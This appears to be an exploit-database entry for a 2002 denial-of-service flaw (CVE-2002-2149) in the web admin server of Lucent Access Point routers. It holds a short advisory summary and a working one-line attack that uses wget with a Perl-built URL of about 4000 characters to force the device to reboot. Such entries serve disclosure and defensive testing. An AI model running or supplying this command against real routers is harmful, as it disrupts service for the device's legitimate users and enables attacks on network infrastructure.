Lucent Access Point 300/600/1500 IP Services Router - Long HTTP Request Denial of Service

Author: FX
type: dos
platform: hardware
port: 
date_added: 2002-07-27 
date_updated: 2012-10-01 
verified: 1 
codes: CVE-2002-2149;OSVDB-18122 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/5333/info

The Lucent Access Point series of routers support a web based administrative interface. An error has been reported in the embedded HTTP server.

It has been reported that sending a HTTP request consisting of approximately 4000 characters of data will cause the device to reboot. This may result in an interruption of service for legitimate users of the device.

wget `perl -e 'print "http://router_ip/"; print "A"x4000; print "/";`